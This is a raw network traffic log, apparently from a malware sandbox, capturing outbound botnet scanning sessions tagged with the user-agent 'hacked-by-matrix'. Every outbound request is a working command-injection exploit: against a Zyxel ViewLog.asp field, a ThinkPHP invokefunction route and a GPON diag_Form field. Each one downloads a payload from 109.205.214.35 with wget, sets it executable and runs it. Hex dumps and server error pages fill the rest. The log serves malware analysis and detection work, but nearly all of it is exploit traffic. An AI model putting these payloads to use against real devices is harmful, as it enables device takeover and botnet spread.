Mar 21, 2024 05:17:27.997545958 CET	435	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://109.205.214.35/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save
Mar 21, 2024 05:17:29.405093908 CET	435	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://109.205.214.35/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save
Mar 21, 2024 05:17:29.638159990 CET	224	IN	HTTP/1.1 301 Moved Permanently Location: https://127.0.0.1/cgi-bin/ViewLog.asp Content-Type: text/plain Server: proxygen-bolt Date: Thu, 21 Mar 2024 04:17:29 GMT Connection: keep-alive Content-Length: 0
Mar 21, 2024 05:17:29.638297081 CET	1286	IN	HTTP/1.1 400 Bad Request Content-Type: text/html; charset=utf-8 Date: Thu, 21 Mar 2024 04:17:29 GMT Connection: close Content-Length: 2959 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 69 64 3d 22 66 61 63 65 62 6f 6f 6b 22 3e 0a 20 20 3c 68 65 61 64 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 46 61 63 65 62 6f 6f 6b 20 7c 20 45 72 72 6f 72 3c 2f 74 69 74 6c 65 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 61 63 68 65 2d 63 6f 6e 74 72 6f 6c 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 2d 63 61 63 68 65 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 61 63 68 65 2d 63 6f 6e 74 72 6f 6c 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 2d 73 74 6f 72 65 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 61 63 68 65 2d 63 6f 6e 74 72 6f 6c 22 20 63 6f 6e 74 65 6e 74 3d 22 6d 61 78 2d 61 67 65 3d 30 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 65 78 70 69 72 65 73 22 20 63 6f 6e 74 65 6e 74 3d 22 2d 31 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 70 72 61 67 6d 61 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 2d 63 61 63 68 65 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 6f 62 6f 74 73 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 69 6e 64 65 78 2c 6e 6f 66 6f 6c 6c 6f 77 22 3e 0a 20 20 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 20 20 68 74 6d 6c 2c 20 62 6f 64 79 20 7b 0a 20 20 20 20 20 20 20 20 63 6f 6c 6f 72 3a 20 23 31 34 31 38 32 33 3b 0a 20 20 20 20 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 65 39 65 61 65 64 3b 0a 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 48 65 6c 76 65 74 69 63 61 2c 20 4c 75 63 69 64 61 20 47 72 61 6e 64 65 2c 20 41 72 69 61 6c 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 54 61 68 6f 6d 61 2c 20 56 65 72 64 61 6e 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 0a 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 3a 20 30 3b 0a 20 20 20 20 20 20 20 20 70 61 64 64 69 6e 67 3a 20 30 3b 0a 20 20 20 20 20 20 20 20 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 0a 20 20 20 20 20 20 7d 0a 0a 20 20 20 20 20 20 23 68 65 61 64 65 72 20 7b 0a 20 20 20 20 20 20 20 20 68 65 69 67 68 74 3a 20 33 30 70 78 3b 0a 20 20 20 20 20 20 20 20 70 61 64 64 69 6e 67 2d 62 6f 74 74 6f 6d 3a 20 31 30 70 78 3b 0a 20 20 20 20 20 20 20 20 70 61 64 64 69 6e 67 2d 74 6f 70 3a 20 31 30 70 78 3b 0a 20 20 20 20 20 20 20 20 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 0a 20 20 20 20 20 20 7d 0a 0a 20 20 20 20 20 20 23 69 63 6f 6e 20 7b 0a 20 20 20 20 20 20 20 20 77 69 64 74 68 3a 20 33 30 70 78 3b 0a 20 20 20 20 20 20 7d 0a 0a 20 20 20 20 20 20 68 31 20 7b 0a 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 38 70 78 3b 0a 20 20 20 20 20 20 7d 0a 0a 20 20 20 20 20 20 70 20 7b 0a 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 33 70 78 3b 0a 20 20 20 20 20 20 7d 0a 0a 20 20 20 20 20 20 23 66 6f 6f 74 65 72 20 7b 0a 20 20 20 20 20 20 20 20 62 6f 72 64 65 72 2d 74 6f 70 3a 20 31 70 78 20 73 6f 6c 69 64 20 23 64 64 64 3b 0a 20 20 20 20 20 20 20 20 63 6f 6c 6f 72 3a 20 23 39 31 39 37 61 33 3b 0a 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 32 70 78 3b 0a 20 20 20 20 20 20 20 20 70 61 64 64 69 6e 67 3a 20 35 70 78 20 38 70 78 20 36 70 78 20 30 3b 0a 20 20 20 20 20 20 7d 0a 20 20 20 20 3c 2f 73 74 79 6c 65 3e 0a 20 Data Ascii: <!DOCTYPE html><html lang="en" id="facebook"> <head> <title>Facebook \| Error</title> <meta charset="utf-8"> <meta http-equiv="cache-control" content="no-cache"> <meta http-equiv="cache-control" content="no-store"> <meta http-equiv="cache-control" content="max-age=0"> <meta http-equiv="expires" content="-1"> <meta http-equiv="pragma" content="no-cache"> <meta name="robots" content="noindex,nofollow"> <style> html, body { color: #141823; background-color: #e9eaed; font-family: Helvetica, Lucida Grande, Arial, Tahoma, Verdana, sans-serif; margin: 0; padding: 0; text-align: center; } #header { height: 30px; padding-bottom: 10px; padding-top: 10px; text-align: center; } #icon { width: 30px; } h1 { font-size: 18px; } p { font-size: 13px; } #footer { border-top: 1px solid #ddd; color: #9197a3; font-size: 12px; padding: 5px 8px 6px 0; } </style>
Mar 21, 2024 05:17:29.638387918 CET	1286	IN	Data Raw: 20 3c 2f 68 65 61 64 3e 0a 20 20 3c 62 6f 64 79 3e 0a 20 20 20 20 3c 64 69 76 20 69 64 3d 22 68 65 61 64 65 72 22 3e 0a 20 20 20 20 20 20 3c 61 20 68 72 65 66 3d 22 2f 2f 77 77 77 2e 66 61 63 65 62 6f 6f 6b 2e 63 6f 6d 2f 22 3e 0a 20 20 20 20 20 Data Ascii: </head> <body> <div id="header"> <a href="//www.facebook.com/"> <img id="icon" src="//static.facebook.com/images/logos/facebook_2x.png" /> </a> </div> <div id="core"> <h1 id="sorry">Sorry, something wen
Mar 21, 2024 05:17:29.638397932 CET	569	IN	Data Raw: 42 79 49 64 28 27 68 65 6c 70 2d 6c 69 6e 6b 27 29 2e 73 74 79 6c 65 2e 64 69 73 70 6c 61 79 20 3d 20 27 6e 6f 6e 65 27 3b 0a 20 20 20 20 20 20 7d 3b 0a 20 20 20 20 20 20 69 66 20 28 77 69 6e 64 6f 77 2e 69 6e 6e 65 72 57 69 64 74 68 20 3c 20 32 Data Ascii: ById('help-link').style.display = 'none'; }; if (window.innerWidth < 200) { document.getElementById('sorry').style.fontSize = '16px'; }; if (window.innerWidth < 150) { document.getElementById('promise').

Session ID	Source IP	Source Port	Destination IP	Destination Port
449	192.168.2.23	59686	181.23.242.118	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:26.810132980 CET	435	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://109.205.214.35/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save
Mar 21, 2024 05:17:27.051071882 CET	484	IN	HTTP/1.1 400 Bad Request Server: micro_httpd Date: Thu, 21 Mar 2024 04:17:26 GMT Connection: keep-alive Keep-Alive: timeout=60, max=1000 Content-Type: text/html X-Frame-Options: sameorigin X-XSS-Protection: 1 X-Content-Type-Options: nosniff Content-Security-Policy: default-src 'self'; frame-ancestors 'self' Content-length: 130 Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 44 6f 63 75 6d 65 6e 74 20 45 72 72 6f 72 3a 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 54 49 54 4c 45 3e 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 3c 48 32 3e 41 63 63 65 73 73 20 45 72 72 6f 72 3a 20 34 30 30 20 2d 2d 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 48 32 3e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a 0d 0a Data Ascii: <HTML><HEAD><TITLE>Document Error: Bad Request</TITLE></HEAD><BODY><H2>Access Error: 400 -- Bad Request</H2></BODY></HTML>
Mar 21, 2024 05:17:27.771886110 CET	484	IN	HTTP/1.1 400 Bad Request Server: micro_httpd Date: Thu, 21 Mar 2024 04:17:26 GMT Connection: keep-alive Keep-Alive: timeout=60, max=1000 Content-Type: text/html X-Frame-Options: sameorigin X-XSS-Protection: 1 X-Content-Type-Options: nosniff Content-Security-Policy: default-src 'self'; frame-ancestors 'self' Content-length: 130 Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 44 6f 63 75 6d 65 6e 74 20 45 72 72 6f 72 3a 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 54 49 54 4c 45 3e 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 3c 48 32 3e 41 63 63 65 73 73 20 45 72 72 6f 72 3a 20 34 30 30 20 2d 2d 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 48 32 3e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a 0d 0a Data Ascii: <HTML><HEAD><TITLE>Document Error: Bad Request</TITLE></HEAD><BODY><H2>Access Error: 400 -- Bad Request</H2></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
450	192.168.2.23	38408	112.78.126.80	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:26.925327063 CET	325	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://109.205.214.35/x86 -O /tmp/.matrix; chmod 777 /tmp/.matrix; /tmp/.matrix thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 21, 2024 05:17:28.285624027 CET	325	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://109.205.214.35/x86 -O /tmp/.matrix; chmod 777 /tmp/.matrix; /tmp/.matrix thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 21, 2024 05:17:28.548640013 CET	307	IN	HTTP/1.1 400 Bad Request Server: nginx Date: Thu, 21 Mar 2024 04:17:28 GMT Content-Type: text/html Content-Length: 150 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
451	192.168.2.23	36330	112.169.51.166	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:26.938884020 CET	313	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://109.205.214.35/x86 -O /tmp/.matrix; chmod 777 /tmp/.matrix; /tmp/.matrix thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 21, 2024 05:17:28.381953955 CET	313	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://109.205.214.35/x86 -O /tmp/.matrix; chmod 777 /tmp/.matrix; /tmp/.matrix thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 21, 2024 05:17:28.678318024 CET	490	IN	HTTP/1.1 400 Bad Request Content-Type: text/html; charset=us-ascii Server: Microsoft-HTTPAPI/2.0 Date: Thu, 21 Mar 2024 04:17:28 GMT Connection: close Content-Length: 311 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 54 49 54 4c 45 3e 0d 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 73 2d 61 73 63 69 69 22 3e 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 3c 68 32 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 32 3e 0d 0a 3c 68 72 3e 3c 70 3e 48 54 54 50 20 45 72 72 6f 72 20 34 30 30 2e 20 54 68 65 20 72 65 71 75 65 73 74 20 69 73 20 62 61 64 6c 79 20 66 6f 72 6d 65 64 2e 3c 2f 70 3e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd"><HTML><HEAD><TITLE>Bad Request</TITLE><META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD><BODY><h2>Bad Request</h2><hr><p>HTTP Error 400. The request is badly formed.</p></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
452	192.168.2.23	35406	5.243.229.104	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:27.106683016 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
453	192.168.2.23	45600	5.7.99.169	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:27.106714010 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
454	192.168.2.23	36968	212.114.65.64	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:27.106738091 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
455	192.168.2.23	38914	94.40.71.135	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:27.106765985 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
456	192.168.2.23	38560	94.98.43.201	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:27.106772900 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
457	192.168.2.23	53764	2.172.91.96	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:27.106786966 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
458	192.168.2.23	54482	5.52.126.124	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:27.106817007 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
459	192.168.2.23	57582	212.9.87.102	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:27.106844902 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
460	192.168.2.23	33742	79.80.10.77	443

Timestamp	Bytes transferred	Direction	Data
